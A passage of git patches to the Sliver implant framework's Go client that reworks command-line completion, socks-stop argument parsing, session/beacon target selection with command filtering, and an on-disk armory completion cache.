+79,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags // PortfwdIDCompleter completes IDs of remote portforwarders. func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { + callback := func(c carapace.Context) carapace.Action { if msg, err := con.ConnectCompletion(); err != nil { return msg } @@ -104,7 +104,9 @@ func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionMessage("no remote port forwarders") } - return carapace.ActionValuesDescribed(results...).Tag("remote port forwarders") + comps := carapace.ActionValuesDescribed(results...).Tag("remote port forwarders") + + return comps.Invoke(c).Filter(c.Args).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go index 710984d625..80975e5c70 100644 --- a/client/command/socks/commands.go +++ b/client/command/socks/commands.go @@ -49,17 +49,16 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.StopStr, Short: "Stop a SOCKS5 proxy", Long: help.GetHelpFor([]string{consts.Socks5Str}), + Args: cobra.MinimumNArgs(1), Run: func(cmd *cobra.Command, args []string) { SocksStopCmd(cmd, con, args) }, } + + rmComps := flags.NewCompletions(socksStopCmd) + rmComps.PositionalAnyCompletion(SocksIDCompleter(con).Usage("ID of Socks server(s) to remove")) + socksCmd.AddCommand(socksStopCmd) - flags.Bind("", false, socksStopCmd, func(f *pflag.FlagSet) { - f.Uint64P("id", "i", 0, "id of portfwd to remove") - }) - flags.BindFlagCompletions(socksStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = SocksIDCompleter(con) - }) return []*cobra.Command{socksCmd} } diff --git a/client/command/socks/socks-stop.go b/client/command/socks/socks-stop.go index 0fcb2565aa..f0f8d21d65 100644 --- a/client/command/socks/socks-stop.go +++ b/client/command/socks/socks-stop.go @@ -20,6 +20,7 @@ package socks import ( "context" + "strconv" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" @@ -29,18 +30,26 @@ import ( // SocksStopCmd - Remove an existing tunneled port forward. func SocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - socksID, _ := cmd.Flags().GetUint64("id") - if socksID < 1 { - con.PrintErrorf("Must specify a valid socks5 id\n") - return + for _, arg := range args { + socksID, err := strconv.ParseUint(arg, 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse Socks ID: %s\n", err) + } + + if socksID < 1 { + con.PrintErrorf("Must specify a valid socks5 ID\n") + return + } + + found := core.SocksProxies.Remove(socksID) + + if !found { + con.PrintErrorf("No socks5 with ID %d\n", socksID) + } else { + con.PrintInfof("Removed socks5\n") + } + + // close + con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{}) } - found := core.SocksProxies.Remove(socksID) - if !found { - con.PrintErrorf("No socks5 with id %d\n", socksID) - } else { - con.PrintInfof("Removed socks5\n") - } - - // close - con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{}) } diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index 0301822383..8cb0ecfea4 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -60,7 +60,7 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // SocksIDCompleter completes IDs of remote of socks proxy servers. func SocksIDCompleter(_ *console.SliverClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { + callback := func(c carapace.Context) carapace.Action { results := make([]string, 0) socks := core.SocksProxies.List() @@ -77,7 +77,9 @@ func SocksIDCompleter(_ *console.SliverClient) carapace.Action { return carapace.ActionMessage("no Socks servers") } - return carapace.ActionValuesDescribed(results...).Tag("socks servers") + comps := carapace.ActionValuesDescribed(results...).Tag("socks servers") + + return comps.Invoke(c).Filter(c.Args).ToA() } return carapace.ActionCallback(callback) diff --git a/server/rpc/rpc-client-logs.go b/server/rpc/rpc-client-logs.go index 4f32302842..c12df0e731 100644 --- a/server/rpc/rpc-client-logs.go +++ b/server/rpc/rpc-client-logs.go @@ -114,7 +114,7 @@ func (rpc *Server) ClientLog(stream rpcpb.SliverRPC_ClientLogServer) error { return err } } - rpcClientLogs.Infof("Received %d bytes of client console log data for stream %s", len(fromClient.GetData()), streamName) + rpcClientLogs.Debugf("Received %d bytes of client console log data for stream %s", len(fromClient.GetData()), streamName) streams[streamName].Write(fromClient.GetData()) } return nil @@ -139,7 +139,7 @@ func openNewLogStream(logsDir string, stream string) (*LogStream, error) { } func randomSuffix(n int) string { - var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") + letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") buf := make([]rune, n) for i := range buf { buf[i] = letterRunes[insecureRand.Intn(len(letterRunes))] @@ -168,7 +168,7 @@ func gzipFile(filePath string) { return } defer inputFile.Close() - outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600) + outFile, err := os.OpenFile(filePath+".gz", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) if err != nil { rpcClientLogs.Errorf("Failed to open gz client console log file: %s", err) return From c793aa547e92c5cd66dfd715eb0999fa28a4a3db Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 26 Jul 2023 20:30:19 +0200 Subject: [PATCH 038/124] Fix dymanic sliver target parsing/applying --- client/cli/cli.go | 4 +- client/cli/implant.go | 91 ++++++++++++++++++++++++++++++- client/command/console/console.go | 2 +- client/command/cursed/commands.go | 5 +- client/command/server.go | 3 +- client/command/sliver.go | 3 +- client/console/console.go | 76 +++++++++----------------- client/console/implant.go | 48 ++++++++++++++++ 8 files changed, 172 insertions(+), 60 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index f29d61b7a1..c7d580371e 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -64,14 +64,12 @@ func Execute() { // system shell. It makes use of pre-runners for connecting to the server // and binding sliver commands. These same pre-runners are also used for // command completion/filtering purposes. + rootCmd.AddCommand(implantCmd(con, sliverCmds)) // Pre/post runners and completions. command.BindRunners(rootCmd, true, preRunClient(con)) command.BindRunners(rootCmd, false, postRunClient(con)) - // For now don't include any pre-runners - rootCmd.AddCommand(implantCmd(con, sliverCmds)) - carapace.Gen(rootCmd) // Run the sliver client binary. diff --git a/client/cli/implant.go b/client/cli/implant.go index 2fa7537bd7..dfe0c10a42 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -1,6 +1,9 @@ package cli import ( + "errors" + "strings" + "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/use" client "github.com/bishopfox/sliver/client/console" @@ -16,14 +19,98 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co implantCmd.Use = constants.ImplantMenu implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError) - implantFlags.StringP("use", "s", "", "interact with a session") + implantFlags.StringP("use", "s", "", "Set the active target session/beacon") implantCmd.Flags().AddFlagSet(implantFlags) + // Setup the active target before going down the implant command tree. + implantCmd.PersistentPreRunE = sliverPrerun(implantCmd, con) + + // Completions: command.BindFlagCompletions(implantCmd, func(comp *carapace.ActionMap) { (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - return use.SessionIDCompleter(con) + return use.BeaconAndSessionIDCompleter(con) }) }) + // Hide all commands not available for the current target. + comps := carapace.Gen(implantCmd) + comps.PreRun(func(cmd *cobra.Command, args []string) { + err := implantCmd.PersistentPreRunE(cmd, args) + if err != nil { + return + } + + hideUnavailableCommands(implantCmd, con) + }) + return implantCmd } + +// hide commands that are filtered so that they are not +// shown in the help strings or proposed as completions. +func hideUnavailableCommands(rootCmd *cobra.Command, con *client.SliverClient) { + targetFilters := con.ActiveTarget.Filters() + + for _, cmd := range rootCmd.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if isFiltered(cmd, targetFilters) { + cmd.Hidden = true + } + } +} + +func isFiltered(cmd *cobra.Command, targetFilters []string) bool { + if cmd.Annotations == nil { + return false + } + + // Get the filters on the command + filterStr := cmd.Annotations[console.CommandFilterKey] + filters := strings.Split(filterStr, ",") + + for _, cmdFilter := range filters { + for _, filter := range targetFilters { + if cmdFilter != "" && cmdFilter == filter { + return true + } + } + } + + return false +} + +func sliverPrerun(implantCmd *cobra.Command, con *client.SliverClient) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, args []string) error { + if err := preRunClient(con)(cmd, args); err != nil { + return err + } + + if err := implantCmd.ParseFlags(args); err != nil { + return err + } + + target, _ := implantCmd.Flags().GetString("use") + if target == "" { + return errors.New("no target implant to run command on") + } + + // Load either the session or the beacon. + session := con.GetSession(target) + if session != nil { + con.ActiveTarget.Set(session, nil) + return nil + } + + beacon := con.GetBeacon(target) + if beacon != nil { + con.ActiveTarget.Set(nil, beacon) + return nil + } + + return nil + } +} diff --git a/client/command/console/console.go b/client/command/console/console.go index 09ee56e1c2..0bff089286 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -40,7 +40,7 @@ func Command(con *client.SliverClient, serverCmds, sliverCmds console.Commands) sliver.SetCommands(sliverCmds) // Start the console, blocking until player exit. - return con.App.Start() + return con.StartConsole() }, } diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go index 15162998aa..74722753eb 100644 --- a/client/command/cursed/commands.go +++ b/client/command/cursed/commands.go @@ -13,8 +13,9 @@ import ( // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { cursedCmd := &cobra.Command{ - Use: consts.Cursed, - Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + Use: consts.Cursed, + Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", + // Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚", Long: help.GetHelpFor([]string{consts.Cursed}), GroupID: consts.ExecutionHelpGroup, Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), diff --git a/client/command/server.go b/client/command/server.go index 48af67eda9..abcdd7f2be 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -58,7 +58,8 @@ type CommandBinder func(con *client.SliverClient) []*cobra.Command func ServerCommands(con *client.SliverClient, serverCmds CommandBinder) console.Commands { serverCommands := func() *cobra.Command { server := &cobra.Command{ - Short: "Server commands", + Short: "Server commands", + TraverseChildren: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, diff --git a/client/command/sliver.go b/client/command/sliver.go index d3bb8b4c7b..17d8dfaced 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -55,7 +55,8 @@ import ( func SliverCommands(con *client.SliverClient) console.Commands { sliverCommands := func() *cobra.Command { sliver := &cobra.Command{ - Short: "Implant commands", + Short: "Implant commands", + TraverseChildren: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, diff --git a/client/console/console.go b/client/console/console.go index 3601df4099..6bc3ab06a7 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -155,6 +155,7 @@ func newConsole() *SliverClient { BeaconTaskCallbacksMutex: &sync.Mutex{}, Settings: settings, IsCLI: true, + printf: fmt.Printf, } con.App.SetPrintLogo(func(_ *console.Console) { @@ -196,16 +197,6 @@ func newConsole() *SliverClient { func (con *SliverClient) connect(conn *grpc.ClientConn) { con.Rpc = rpcpb.NewSliverRPCClient(conn) - // The console application needs to query the terminal for cursor positions - // when asynchronously printing logs (that is, when no command is running). - // If ran from a system shell, however, those queries will block because - // the system shell is in control of stdin. So just use the classic Printf. - if con.IsCLI { - con.printf = fmt.Printf - } else { - con.printf = con.App.TransientPrintf - } - // Events go con.startEventLoop() go core.TunnelLoop(con.Rpc) @@ -214,6 +205,16 @@ func (con *SliverClient) connect(conn *grpc.ClientConn) { con.startClientLog() } +// StartConsole is a blocking call that starts the Sliver closed console. +// The command/events/log outputs use the specific-console fmt.Printer, +// because the console needs to query the terminal for cursor positions +// when asynchronously printing logs (that is, when no command is running). +func (con *SliverClient) StartConsole() error { + con.printf = con.App.TransientPrintf + + return con.App.Start() +} + // ConnectCompletion is a special connection mode which should be // called in completer functions that need to use the client RPC. // @@ -247,46 +248,7 @@ func (con *SliverClient) Disconnect() error { func (con *SliverClient) ExposeCommands() { con.App.ShowCommands() - if con.ActiveTarget.session == nil && con.ActiveTarget.beacon == nil { - return - } - - filters := make([]string, 0) - - // Target type. - switch { - case con.ActiveTarget.session != nil: - session := con.ActiveTarget.session - - // Forbid all beacon-only commands. - filters = append(filters, consts.BeaconCmdsFilter) - - // Operating system - if session.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if session.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - - case con.ActiveTarget.beacon != nil: - beacon := con.ActiveTarget.beacon - - // Forbid all session-only commands. - filters = append(filters, consts.SessionCmdsFilter) - - // Operating system - if beacon.OS != "windows" { - filters = append(filters, consts.WindowsCmdsFilter) - } - - // C2 stack - if beacon.Transport != "wg" { - filters = append(filters, consts.WireguardCmdsFilter) - } - } + filters := con.ActiveTarget.Filters() // Use all defined filters. con.App.HideCommands(filters...) @@ -306,6 +268,20 @@ func (con *SliverClient) GetSession(arg string) *clientpb.Session { return nil } +func (con *SliverClient) GetBeacon(arg string) *clientpb.Beacon { + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintWarnf("%s", err) + return nil + } + for _, session := range beacons.GetBeacons() { + if session.Name == arg || strings.HasPrefix(session.ID, arg) { + return session + } + } + return nil +} + // GetSessionsByName - Return all sessions for an Implant by name. func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) diff --git a/client/console/implant.go b/client/console/implant.go index 7d98d8a129..0b59970fce 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -174,6 +174,54 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { } } +// Filters returns list of constants describing which types of commands +// should NOT be available for the current target, eg. beacon commands if +// the target is a session, Windows commands if the target host is Linux. +func (s *ActiveTarget) Filters() []string { + if s.session == nil && s.beacon == nil { + return nil + } + + filters := make([]string, 0) + + // Target type. + switch { + case s.session != nil: + session := s.session + + // Forbid all beacon-only commands. + filters = append(filters, consts.BeaconCmdsFilter) + + // Operating system + if session.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if session.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + + case s.beacon != nil: + beacon := s.beacon + + // Forbid all session-only commands. + filters = append(filters, consts.SessionCmdsFilter) + + // Operating system + if beacon.OS != "windows" { + filters = append(filters, consts.WindowsCmdsFilter) + } + + // C2 stack + if beacon.Transport != "wg" { + filters = append(filters, consts.WireguardCmdsFilter) + } + } + + return filters +} + // Background - Background the active session. func (s *ActiveTarget) Background() { defer s.con.App.ShowCommands() From e0e1992e18bee321747cb9c19cde34d5f3408b1a Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 26 Jul 2023 20:40:05 +0200 Subject: [PATCH 039/124] Cache armory completions to disk --- client/command/armory/armory.go | 80 +++++----------- client/command/armory/commands.go | 7 +- client/command/armory/completion.go | 136 ++++++++++++++++++++++++++++ client/command/armory/install.go | 7 +- client/command/armory/parsers.go | 16 ++-- client/command/armory/search.go | 5 +- client/command/armory/update.go | 5 +- 7 files changed, 179 insertions(+), 77 deletions(-) create mode 100644 client/command/armory/completion.go diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index c32ef13fb2..b098b4b8e6 100644 --- a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -26,20 +26,22 @@ import ( "sync" "time" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "golang.org/x/term" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/server/cryptography/minisign" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/term" +) + +const ( + armoryCacheFileName = "armory-cache.json" ) -// ArmoryIndex - Index JSON containing alias/extension/bundle information +// ArmoryIndex - Index JSON containing alias/extension/bundle information. type ArmoryIndex struct { ArmoryConfig *assets.ArmoryConfig `json:"-"` Aliases []*ArmoryPackage `json:"aliases"` @@ -47,7 +49,7 @@ type ArmoryIndex struct { Bundles []*ArmoryBundle `json:"bundles"` } -// ArmoryPackage - JSON metadata for alias or extension +// ArmoryPackage - JSON metadata for alias or extension. type ArmoryPackage struct { Name string `json:"name"` CommandName string `json:"command_name"` @@ -57,13 +59,13 @@ type ArmoryPackage struct { IsAlias bool `json:"-"` } -// ArmoryBundle - A list of packages +// ArmoryBundle - A list of packages. type ArmoryBundle struct { Name string `json:"name"` Packages []string `json:"packages"` } -// ArmoryHTTPConfig - Configuration for armory HTTP client +// ArmoryHTTPConfig - Configuration for armory HTTP client. type ArmoryHTTPConfig struct { ArmoryConfig *assets.ArmoryConfig IgnoreCache bool @@ -92,19 +94,19 @@ type pkgCacheEntry struct { } var ( - // public key -> armoryCacheEntry + // public key -> armoryCacheEntry. indexCache = sync.Map{} - // public key -> armoryPkgCacheEntry + // public key -> armoryPkgCacheEntry. pkgCache = sync.Map{} - // cacheTime - How long to cache the index/pkg manifests + // cacheTime - How long to cache the index/pkg manifests. cacheTime = time.Hour - // This will kill a download if exceeded so needs to be large + // This will kill a download if exceeded so needs to be large. defaultTimeout = 15 * time.Minute ) -// ArmoryCmd - The main armory command +// ArmoryCmd - The main armory command. func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { armoriesConfig := assets.GetArmoriesConfig() con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig)) @@ -172,6 +174,12 @@ func refresh(clientConfig ArmoryHTTPConfig) { armoriesConfig := assets.GetArmoriesConfig() indexes := fetchIndexes(armoriesConfig, clientConfig) fetchPackageSignatures(indexes, clientConfig) + + // Save the list of bundles/exts/aliases on disk. + // This is only for completion purposes, so this + // does not include ANY cryptographic or remote + // information on the packages. + saveArmoryCompletionCache() } func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) { @@ -201,45 +209,7 @@ func bundlesInCache() []*ArmoryBundle { return bundles } -// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names -func AliasExtensionOrBundleCompleter() carapace.Action { - comps := func(ctx carapace.Context) carapace.Action { - var action carapace.Action - - results := []string{} - aliases, exts := packagesInCache() - bundles := bundlesInCache() - - for _, aliasPkg := range aliases { - results = append(results, aliasPkg.CommandName) - results = append(results, aliasPkg.Help) - } - aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx) - results = make([]string, 0) - - for _, extensionPkg := range exts { - results = append(results, extensionPkg.CommandName) - results = append(results, extensionPkg.Help) - } - extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx) - results = make([]string, 0) - - for _, bundle := range bundles { - results = append(results, bundle.Name) - } - bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx) - - return action.Invoke(ctx).Merge( - aliasesComps, - extentionComps, - bundleComps, - ).ToA() - } - - return carapace.ActionCallback(comps) -} - -// PrintArmoryPackages - Prints the armory packages +// PrintArmoryPackages - Prints the armory packages. func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { @@ -330,7 +300,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte con.Printf("%s\n", tw.Render()) } -// PrintArmoryBundles - Prints the armory bundles +// PrintArmoryBundles - Prints the armory bundles. func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -397,7 +367,7 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig { } // fetch armory indexes, only returns indexes that were fetched successfully -// errors are still in the cache objects however and can be checked +// errors are still in the cache objects however and can be checked. func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex { wg := &sync.WaitGroup{} for _, armoryConfig := range armoryConfigs { diff --git a/client/command/armory/commands.go b/client/command/armory/commands.go index 80cb290e18..87157225cf 100644 --- a/client/command/armory/commands.go +++ b/client/command/armory/commands.go @@ -1,15 +1,14 @@ package armory import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the `armory` command and its subcommands. diff --git a/client/command/armory/completion.go b/client/command/armory/completion.go new file mode 100644 index 0000000000..fd592e1062 --- /dev/null +++ b/client/command/armory/completion.go @@ -0,0 +1,136 @@ +package armory + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "time" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/alias" + "github.com/bishopfox/sliver/client/command/extensions" + "github.com/rsteube/carapace" +) + +// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names. +func AliasExtensionOrBundleCompleter() carapace.Action { + comps := func(ctx carapace.Context) carapace.Action { + var action carapace.Action + + results := []string{} + + // In-memory packages are newer. + aliases, exts := packagesInCache() + bundles := bundlesInCache() + + // Or load the cache from file if in-memory cache is empty. + // Inform user if the cache file is old (1 week or more). + if len(aliases)+len(exts)+len(bundles) == 0 { + filePath := filepath.Join(assets.GetRootAppDir(), armoryCacheFileName) + + info, err := os.Stat(filePath) + if err == nil { + mustUpdateCache := time.Since(info.ModTime()) > (24 * 7 * time.Hour) + if mustUpdateCache { + modTime := time.Since(info.ModTime()).Truncate(time.Hour) + action = carapace.ActionMessage("armory cache is %d old, `sliver armory update` recommended", modTime) + } + + aliases, exts, bundles, err = loadArmoryCompletionCache(filePath) + if err != nil { + return carapace.ActionMessage("failed to read armory file cache: %s", err) + } + } + } + + for _, aliasPkg := range aliases { + results = append(results, aliasPkg.CommandName) + results = append(results, aliasPkg.Help) + } + aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx) + results = make([]string, 0) + + for _, extensionPkg := range exts { + results = append(results, extensionPkg.CommandName) + results = append(results, extensionPkg.Help) + } + extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx) + results = make([]string, 0) + + for _, bundle := range bundles { + results = append(results, bundle.Name) + } + bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx) + + return action.Invoke(ctx).Merge( + aliasesComps, + extentionComps, + bundleComps, + ).ToA() + } + + return carapace.ActionCallback(comps) +} + +func saveArmoryCompletionCache() error { + aliases, exts := packagesInCache() + bundles := bundlesInCache() + + ArmoryCache := struct { + Aliases []*alias.AliasManifest + Extensions []*extensions.ExtensionManifest + Bundles []*ArmoryBundle + }{ + Aliases: aliases, + Extensions: exts, + Bundles: bundles, + } + + data, err := json.MarshalIndent(ArmoryCache, "", " ") + if err != nil { + return err + } + + filePath := filepath.Join(assets.GetRootAppDir(), armoryCacheFileName) + + return os.WriteFile(filePath, data, 0o600) +} + +func loadArmoryCompletionCache(filePath string) ([]*alias.AliasManifest, []*extensions.ExtensionManifest, []*ArmoryBundle, error) { + data, err := os.ReadFile(filePath) + if err != nil && os.IsNotExist(err) { + return nil, nil, nil, errors.New("no armory file cache") + } + + ArmoryCache := struct { + Aliases []*alias.AliasManifest + Extensions []*extensions.ExtensionManifest + Bundles []*ArmoryBundle + }{} + + err = json.Unmarshal(data, &ArmoryCache) + if err != nil { + return nil, nil, nil, err + } + + return ArmoryCache.Aliases, ArmoryCache.Extensions, ArmoryCache.Bundles, nil +} diff --git a/client/command/armory/install.go b/client/command/armory/install.go index 8c53a093c2..1df01e720d 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -26,19 +26,18 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/server/cryptography/minisign" + "github.com/spf13/cobra" ) -// ErrPackageNotFound - The package was not found +// ErrPackageNotFound - The package was not found. var ErrPackageNotFound = errors.New("package not found") -// ArmoryInstallCmd - The armory install command +// ArmoryInstallCmd - The armory install command. func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] // name := ctx.Args.String("name") diff --git a/client/command/armory/parsers.go b/client/command/armory/parsers.go index d4ca08f921..147977368c 100644 --- a/client/command/armory/parsers.go +++ b/client/command/armory/parsers.go @@ -36,10 +36,10 @@ import ( "github.com/bishopfox/sliver/server/cryptography/minisign" ) -// ArmoryIndexParser - Generic interface to fetch armory indexes +// ArmoryIndexParser - Generic interface to fetch armory indexes. type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error) -// ArmoryPackageParser - Generic interface to fetch armory package manifests +// ArmoryPackageParser - Generic interface to fetch armory package manifests. type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error) var ( @@ -71,7 +71,7 @@ type armoryPkgResponse struct { // Default Parsers for Self-Hosted Armories // -// DefaultArmoryParser - Parse the armory index directly from the url +// DefaultArmoryParser - Parse the armory index directly from the url. func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey)) @@ -114,7 +114,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar return armoryIndex, nil } -// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url +// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url. func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey)) @@ -183,7 +183,7 @@ type GithubRelease struct { Assets []GithubAsset `json:"assets"` } -// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release +// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release. func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey)) @@ -245,7 +245,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig return armoryIndex, nil } -// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release +// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release. func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { var publicKey minisign.PublicKey err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey)) @@ -298,7 +298,7 @@ func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg * // GitHub Parsers // -// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages +// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages. func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) { latestTag, err := githubLatestTagParser(armoryPkg, clientConfig) if err != nil { @@ -341,7 +341,7 @@ func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, return sig, tarGz, nil } -// We need to intercept the 302 redirect to determine the latest version tag +// We need to intercept the 302 redirect to determine the latest version tag. func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) { client := httpClient(clientConfig) client.CheckRedirect = func(req *http.Request, via []*http.Request) error { diff --git a/client/command/armory/search.go b/client/command/armory/search.go index dda619ac50..3e51acc8fd 100644 --- a/client/command/armory/search.go +++ b/client/command/armory/search.go @@ -21,14 +21,13 @@ package armory import ( "regexp" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// ArmorySearchCmd - Search for packages by name +// ArmorySearchCmd - Search for packages by name. func ArmorySearchCmd(cmd *cobra.Command, con 